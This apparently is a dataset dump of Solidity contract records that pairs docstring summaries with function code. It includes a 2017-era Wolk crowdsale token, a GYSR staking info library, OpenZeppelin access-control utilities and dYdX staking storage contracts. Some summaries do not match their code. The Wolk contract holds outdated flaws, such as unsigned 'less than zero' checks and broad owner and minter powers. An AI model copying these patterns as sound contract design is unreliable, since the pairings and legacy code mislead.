> 0) { totalIterationVotePayout[proposalIteration] = interestEarned; } proposalDeadline = now.add(votingInterval); proposalIteration = proposalIteration.add(1); emit IterationChanged(proposalIteration, msg.sender, now); } }
Changes the time iteration between intervals newInterval new time interval between interations
function changeVotingInterval(uint256 newInterval) public onlyAdmin { votingInterval = newInterval; }
13,085,033
./full_match/3/0x5e2c4619C0ceA9c987D5E830661C99aD382a52E6/sources/localhost/contracts/SQCoinV1.sol
Emitted when account is added to _blocklist/ Emitted when account is removed from _blocklist/
function initialize(string memory name, string memory symbol, uint8 decimals, address[] memory governors) public { __SQCoinV1_init(name, symbol, decimals,governors); }
8,194,830
pragma solidity ^0.4.2; contract Wolker { mapping (address => uint256) balances; mapping (address => uint256) allocations; mapping (address => mapping (address => uint256)) allowed; mapping (address => mapping (address => bool)) authorized; //trustee /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value, balances[msg.sender], balances[_to]); return true; } else { throw; } } /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { var _allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value, balances[_from], balances[_to]); return true; } else { throw; } } /// @return total amount of tokens function totalSupply() external constant returns (uint256) { return generalTokens + reservedTokens; } /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of Wolk token to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @param _trustee Grant trustee permission to settle media spend /// @return Whether the authorization was successful or not function authorize(address _trustee) returns (bool success) { authorized[msg.sender][_trustee] = true; Authorization(msg.sender, _trustee); return true; } /// @param _trustee_to_remove Revoke trustee's permission on settle media spend /// @return Whether the deauthorization was successful or not function deauthorize(address _trustee_to_remove) returns (bool success) { authorized[msg.sender][_trustee_to_remove] = false; Deauthorization(msg.sender, _trustee_to_remove); return true; } // @param _owner // @param _trustee // @return authorization_status for platform settlement function check_authorization(address _owner, address _trustee) constant returns (bool authorization_status) { return authorized[_owner][_trustee]; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } //**** ERC20 TOK Events: event Transfer(address indexed _from, address indexed _to, uint256 _value, uint from_final_tok, uint to_final_tok); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Authorization(address indexed _owner, address indexed _trustee); event Deauthorization(address indexed _owner, address indexed _trustee_to_remove); event NewOwner(address _newOwner); event MintEvent(uint reward_tok, address recipient); event LogRefund(address indexed _to, uint256 _value); event CreateWolk(address indexed _to, uint256 _value); event Vested(address indexed _to, uint256 _value); modifier onlyOwner { assert(msg.sender == owner); _; } modifier isOperational() { assert(isFinalized); _; } //**** ERC20 TOK fields: string public constant name = 'Wolk'; string public constant symbol = "WOLK"; string public constant version = "0.2"; uint256 public constant decimals = 18; uint256 public constant wolkFund = 10 * 10**1 * 10**decimals; // 100 Wolk in operation Fund uint256 public constant tokenCreationMin = 20 * 10**1 * 10**decimals; // 200 Wolk Min uint256 public constant tokenCreationMax = 100 * 10**1 * 10**decimals; // 1000 Wolk Max uint256 public constant tokenExchangeRate = 10000; // 10000 Wolk per 1 ETH uint256 public generalTokens = wolkFund; // tokens in circulation uint256 public reservedTokens; //address public owner = msg.sender; address public owner = 0xC28dA4d42866758d0Fc49a5A3948A1f43de491e9; // michael - main address public multisig_owner = 0x6968a9b90245cB9bD2506B9460e3D13ED4B2FD1e; // new multi-sig bool public isFinalized = false; // after token sale success, this is true uint public constant dust = 1000000 wei; bool public fairsale_protection = true; // Actual crowdsale uint256 public start_block; // Starting block uint256 public end_block; // Ending block uint256 public unlockedAt; // Unlocking block uint256 public end_ts; // Unix End time // minting support //uint public max_creation_rate_per_second; // Maximum token creation rate per second //address public minter_address; // Has permission to mint // migration support //address migrationMaster; //**** Constructor: function Wolk() { // Actual crowdsale start_block = 3831300; end_block = 3831900; // wolkFund is 100 balances[msg.sender] = wolkFund; // Wolk Inc has 25MM Wolk, 5MM of which is allocated for Wolk Inc Founding staff, who vest at "unlockedAt" time reservedTokens = 25 * 10**decimals; allocations[0x564a3f7d98Eb5B1791132F8875fef582d528d5Cf] = 20; // unassigned allocations[0x7f512CCFEF05F651A70Fa322Ce27F4ad79b74ffe] = 1; // Sourabh allocations[0x9D203A36cd61b21B7C8c7Da1d8eeB13f04bb24D9] = 2; // Michael - Test allocations[0x5fcf700654B8062B709a41527FAfCda367daE7b1] = 1; // Michael - Main allocations[0xC28dA4d42866758d0Fc49a5A3948A1f43de491e9] = 1; // Urmi CreateWolk(msg.sender, wolkFund); } // ****** VESTING SUPPORT /// @notice Allow developer to unlock allocated tokens by transferring them to developer's address on vesting schedule of "vested 100% on 1 year) function unlock() external { if (now < unlockedAt) throw; uint256 vested = allocations[msg.sender] * 10**decimals; if (vested < 0 ) throw; // Will fail if allocation (and therefore toTransfer) is 0. allocations[msg.sender] = 0; reservedTokens = safeSub(reservedTokens, vested); balances[msg.sender] = safeAdd(balances[msg.sender], vested); Vested(msg.sender, vested); } // ******* CROWDSALE SUPPORT // Accepts ETH and creates WOLK function createTokens() payable external is_not_dust { if (isFinalized) throw; if (block.number < start_block) throw; if (block.number > end_block) throw; if (msg.value == 0) throw; if (tx.gasprice > 0.021 szabo && fairsale_protection) throw; if (msg.value > 0.04 ether && fairsale_protection) throw; uint256 tokens = safeMul(msg.value, tokenExchangeRate); // check that we're not over totals uint256 checkedSupply = safeAdd(generalTokens, tokens); if ( checkedSupply > tokenCreationMax) { throw; // they need to get their money back if something goes wrong } else { generalTokens = checkedSupply; balances[msg.sender] = safeAdd(balances[msg.sender], tokens); // safeAdd not needed; bad semantics to use here CreateWolk(msg.sender, tokens); // logs token creation } } // The value of the message must be sufficiently large to not be considered dust. modifier is_not_dust { if (msg.value < dust) throw; _; } // Disabling fairsale protection function fairsale_protectionOFF() external { if ( block.number - start_block < 200) throw; // fairsale window is strictly enforced if ( msg.sender != owner ) throw; fairsale_protection = false; } // Finalizing the crowdsale function finalize() external { if ( isFinalized ) throw; if ( msg.sender != owner ) throw; // locks finalize to ETH owner if ( generalTokens < tokenCreationMin ) throw; // have to sell tokenCreationMin to finalize if ( block.number < end_block ) throw; isFinalized = true; end_ts = now; unlockedAt = end_ts + 2 minutes; if ( ! multisig_owner.send(this.balance) ) throw; } function refund() external { if ( isFinalized ) throw; if ( block.number < end_block ) throw; if ( generalTokens >= tokenCreationMin ) throw; if ( msg.sender == owner ) throw; uint256 Val = balances[msg.sender]; balances[msg.sender] = 0; generalTokens = safeSub(generalTokens, Val); uint256 ethVal = safeDiv(Val, tokenExchangeRate); LogRefund(msg.sender, ethVal); if ( ! msg.sender.send(ethVal) ) throw; } // ****** Platform Settlement function settleFrom(address _from, address _to, uint256 _value) isOperational() external returns (bool success) { if ( msg.sender != owner ) throw; var _allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && (allowed[_from][msg.sender] >= _value || authorized[_from][msg.sender] == true ) && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); if ( allowed[_from][msg.sender] < 0 ){ allowed[_from][msg.sender] = 0; } Transfer(_from, _to, _value, balances[_from], balances[_to]); return true; } else { throw; } } // ****** MINTING SUPPORT // Mint new tokens modifier only_minter { assert(msg.sender == minter_address); _; } address public minter_address = owner; // Has permission to mint function mintTokens(uint reward_tok, address recipient) external payable only_minter { balances[recipient] = safeAdd(balances[recipient], reward_tok); generalTokens = safeAdd(generalTokens, reward_tok); MintEvent(reward_tok, recipient); } function changeMintingAddress(address newAddress) onlyOwner returns (bool success) { minter_address = newAddress; return true; } //**** SafeMath: function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function assert(bool assertion) internal { if (!assertion) throw; } }
_trustee Grant trustee permission to settle media spend return Whether the authorization was successful or not
function authorize(address _trustee) returns (bool success) { authorized[msg.sender][_trustee] = true; Authorization(msg.sender, _trustee); return true; }
5,363,276
/* ERC721StakingModuleInfo https://github.com/gysr-io/core SPDX-License-Identifier: MIT */ pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "../interfaces/IStakingModule.sol"; import "../ERC721StakingModule.sol"; /** * @title ERC721 staking module info library * * @notice this library provides read-only convenience functions to query * additional information about the ERC721StakingModule contract. */ library ERC721StakingModuleInfo { /** * @notice convenience function to get token metadata in a single call * @param module address of staking module * @return address * @return name * @return symbol * @return decimals */ function token(address module) public view returns ( address, string memory, string memory, uint8 ) { IStakingModule m = IStakingModule(module); IERC721Metadata tkn = IERC721Metadata(m.tokens()[0]); if (!tkn.supportsInterface(0x5b5e139f)) { return (address(tkn), "", "", 0); } return (address(tkn), tkn.name(), tkn.symbol(), 0); } /** * @notice quote the share value for an amount of tokens * @param module address of staking module * @param addr account address of interest * @param amount number of tokens. if zero, return entire share balance * @return number of shares */ function shares( address module, address addr, uint256 amount ) public view returns (uint256) { ERC721StakingModule m = ERC721StakingModule(module); // return all user shares if (amount == 0) { return m.counts(addr) * m.SHARES_PER_TOKEN(); } require(amount <= m.counts(addr), "smni1"); return amount * m.SHARES_PER_TOKEN(); } /** * @notice get shares per token * @param module address of staking module * @return current shares per token */ function sharesPerToken(address module) public view returns (uint256) { ERC721StakingModule m = ERC721StakingModule(module); return m.SHARES_PER_TOKEN() * 1e18; } /** * @notice get staked token ids for user * @param module address of staking module * @param addr account address of interest * @param amount number of tokens to enumerate * @param start token index to start at * @return ids array of token ids */ function tokenIds( address module, address addr, uint256 amount, uint256 start ) public view returns (uint256[] memory ids) { ERC721StakingModule m = ERC721StakingModule(module); uint256 sz = m.counts(addr); require(start + amount <= sz, "smni2"); if (amount == 0) { amount = sz - start; } ids = new uint256[](amount); for (uint256 i = 0; i < amount; i++) { ids[i] = m.tokenByOwner(addr, i + start); } } }
quote the share value for an amount of tokens module address of staking module addr account address of interest amount number of tokens. if zero, return entire share balance return number of shares/ return all user shares
function shares( address module, address addr, uint256 amount ) public view returns (uint256) { ERC721StakingModule m = ERC721StakingModule(module); if (amount == 0) { return m.counts(addr) * m.SHARES_PER_TOKEN(); } require(amount <= m.counts(addr), "smni1"); return amount * m.SHARES_PER_TOKEN(); }
6,485,971
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; import './Context.sol'; import './Strings.sol'; import './ERC165.sol'; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( 'AccessControl: account ', Strings.toHexString(uint160(account), 20), ' is missing role ', Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), 'AccessControl: can only renounce roles for self'); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = '0123456789abcdef'; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return '0'; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return '0x00'; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = '0'; buffer[1] = 'x'; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, 'Strings: hex length insufficient'); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import './IERC165.sol'; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { AccessControlUpgradeable } from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol'; import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol'; import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol'; import { LS1Types } from '../lib/LS1Types.sol'; /** * @title LS1Storage * @author dYdX * * @dev Storage contract. Contains or inherits from all contract with storage. */ abstract contract LS1Storage is AccessControlUpgradeable, ReentrancyGuard, VersionedInitializable { // ============ Epoch Schedule ============ /// @dev The parameters specifying the function from timestamp to epoch number. LS1Types.EpochParameters internal _EPOCH_PARAMETERS_; /// @dev The period of time at the end of each epoch in which withdrawals cannot be requested. /// We also restrict other changes which could affect borrowers' repayment plans, such as /// modifications to the epoch schedule, or to borrower allocations. uint256 internal _BLACKOUT_WINDOW_; // ============ Staked Token ERC20 ============ mapping(address => mapping(address => uint256)) internal _ALLOWANCES_; // ============ Rewards Accounting ============ /// @dev The emission rate of rewards. uint256 internal _REWARDS_PER_SECOND_; /// @dev The cumulative rewards earned per staked token. (Shared storage slot.) uint224 internal _GLOBAL_INDEX_; /// @dev The timestamp at which the global index was last updated. (Shared storage slot.) uint32 internal _GLOBAL_INDEX_TIMESTAMP_; /// @dev The value of the global index when the user's staked balance was last updated. mapping(address => uint256) internal _USER_INDEXES_; /// @dev The user's accrued, unclaimed rewards (as of the last update to the user index). mapping(address => uint256) internal _USER_REWARDS_BALANCES_; /// @dev The value of the global index at the end of a given epoch. mapping(uint256 => uint256) internal _EPOCH_INDEXES_; // ============ Staker Accounting ============ /// @dev The active balance by staker. mapping(address => LS1Types.StoredBalance) internal _ACTIVE_BALANCES_; /// @dev The total active balance of stakers. LS1Types.StoredBalance internal _TOTAL_ACTIVE_BALANCE_; /// @dev The inactive balance by staker. mapping(address => LS1Types.StoredBalance) internal _INACTIVE_BALANCES_; /// @dev The total inactive balance of stakers. Note: The shortfallCounter field is unused. LS1Types.StoredBalance internal _TOTAL_INACTIVE_BALANCE_; /// @dev Information about shortfalls that have occurred. LS1Types.Shortfall[] internal _SHORTFALLS_; // ============ Borrower Accounting ============ /// @dev The units allocated to each borrower. /// @dev Values are represented relative to total allocation, i.e. as hundredeths of a percent. /// Also, the total of the values contained in the mapping must always equal the total /// allocation (i.e. must sum to 10,000). mapping(address => LS1Types.StoredAllocation) internal _BORROWER_ALLOCATIONS_; /// @dev The token balance currently borrowed by the borrower. mapping(address => uint256) internal _BORROWED_BALANCES_; /// @dev The total token balance currently borrowed by borrowers. uint256 internal _TOTAL_BORROWED_BALANCE_; /// @dev Indicates whether a borrower is restricted from new borrowing. mapping(address => bool) internal _BORROWER_RESTRICTIONS_; // ============ Debt Accounting ============ /// @dev The debt balance owed to each staker. mapping(address => uint256) internal _STAKER_DEBT_BALANCES_; /// @dev The debt balance by borrower. mapping(address => uint256) internal _BORROWER_DEBT_BALANCES_; /// @dev The total debt balance of borrowers. uint256 internal _TOTAL_BORROWER_DEBT_BALANCE_; /// @dev The total debt amount repaid and not yet withdrawn. uint256 internal _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title ReentrancyGuard * @author dYdX * * @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts. */ abstract contract ReentrancyGuard { uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = uint256(int256(-1)); uint256 private _STATUS_; constructor() internal { _STATUS_ = NOT_ENTERED; } modifier nonReentrant() { require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call'); _STATUS_ = ENTERED; _; _STATUS_ = NOT_ENTERED; } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; /** * @title VersionedInitializable * @author Aave, inspired by the OpenZeppelin Initializable contract * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 internal lastInitializedRevision = 0; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require(revision > lastInitializedRevision, "Contract instance has already been initialized"); lastInitializedRevision = revision; _; } /// @dev returns the revision number of the contract. /// Needs to be defined in the inherited class as a constant. function getRevision() internal pure virtual returns(uint256); // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title LS1Types * @author dYdX * * @dev Structs used by the LiquidityStaking contract. */ library LS1Types { /** * @dev The parameters used to convert a timestamp to an epoch number. */ struct EpochParameters { uint128 interval; uint128 offset; } /** * @dev The parameters representing a shortfall event. * * @param index Fraction of inactive funds converted into debt, scaled by SHORTFALL_INDEX_BASE. * @param epoch The epoch in which the shortfall occurred. */ struct Shortfall { uint16 epoch; // Note: Supports at least 1000 years given min epoch length of 6 days. uint224 index; // Note: Save on contract bytecode size by reusing uint224 instead of uint240. } /** * @dev A balance, possibly with a change scheduled for the next epoch. * Also includes cached index information for inactive balances. * * @param currentEpoch The epoch in which the balance was last updated. * @param currentEpochBalance The balance at epoch `currentEpoch`. * @param nextEpochBalance The balance at epoch `currentEpoch + 1`. * @param shortfallCounter Incrementing counter of the next shortfall index to be applied. */ struct StoredBalance { uint16 currentEpoch; // Supports at least 1000 years given min epoch length of 6 days. uint112 currentEpochBalance; uint112 nextEpochBalance; uint16 shortfallCounter; // Only for staker inactive balances. At most one shortfall per epoch. } /** * @dev A borrower allocation, possibly with a change scheduled for the next epoch. */ struct StoredAllocation { uint16 currentEpoch; // Note: Supports at least 1000 years given min epoch length of 6 days. uint120 currentEpochAllocation; uint120 nextEpochAllocation; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { Math } from '../../../utils/Math.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { LS1Storage } from './LS1Storage.sol'; /** * @title LS1Getters * @author dYdX * * @dev Some external getter functions. */ abstract contract LS1Getters is LS1Storage { using SafeMath for uint256; // ============ External Functions ============ /** * @notice The token balance currently borrowed by the borrower. * * @param borrower The borrower whose balance to query. * * @return The number of tokens borrowed. */ function getBorrowedBalance( address borrower ) external view returns (uint256) { return _BORROWED_BALANCES_[borrower]; } /** * @notice The total token balance borrowed by borrowers. * * @return The number of tokens borrowed. */ function getTotalBorrowedBalance() external view returns (uint256) { return _TOTAL_BORROWED_BALANCE_; } /** * @notice The debt balance owed by the borrower. * * @param borrower The borrower whose balance to query. * * @return The number of tokens owed. */ function getBorrowerDebtBalance( address borrower ) external view returns (uint256) { return _BORROWER_DEBT_BALANCES_[borrower]; } /** * @notice The total debt balance owed by borrowers. * * @return The number of tokens owed. */ function getTotalBorrowerDebtBalance() external view returns (uint256) { return _TOTAL_BORROWER_DEBT_BALANCE_; } /** * @notice The total debt repaid by borrowers and available for stakers to withdraw. * * @return The number of tokens available. */ function getTotalDebtAvailableToWithdraw() external view returns (uint256) { return _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_; } /** * @notice Check whether a borrower is restricted from new borrowing. * * @param borrower The borrower to check. * * @return Boolean `true` if the borrower is restricted, otherwise `false`. */ function isBorrowingRestrictedForBorrower( address borrower ) external view returns (bool) { return _BORROWER_RESTRICTIONS_[borrower]; } /** * @notice The parameters specifying the function from timestamp to epoch number. * * @return The parameters struct with `interval` and `offset` fields. */ function getEpochParameters() external view returns (LS1Types.EpochParameters memory) { return _EPOCH_PARAMETERS_; } /** * @notice The period of time at the end of each epoch in which withdrawals cannot be requested. * * Other changes which could affect borrowers' repayment plans are also restricted during * this period. */ function getBlackoutWindow() external view returns (uint256) { return _BLACKOUT_WINDOW_; } /** * @notice Get information about a shortfall that occurred. * * @param shortfallCounter The array index for the shortfall event to look up. * * @return Struct containing the epoch and shortfall index value. */ function getShortfall( uint256 shortfallCounter ) external view returns (LS1Types.Shortfall memory) { return _SHORTFALLS_[shortfallCounter]; } /** * @notice Get the number of shortfalls that have occurred. * * @return The number of shortfalls that have occurred. */ function getShortfallCount() external view returns (uint256) { return _SHORTFALLS_.length; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** 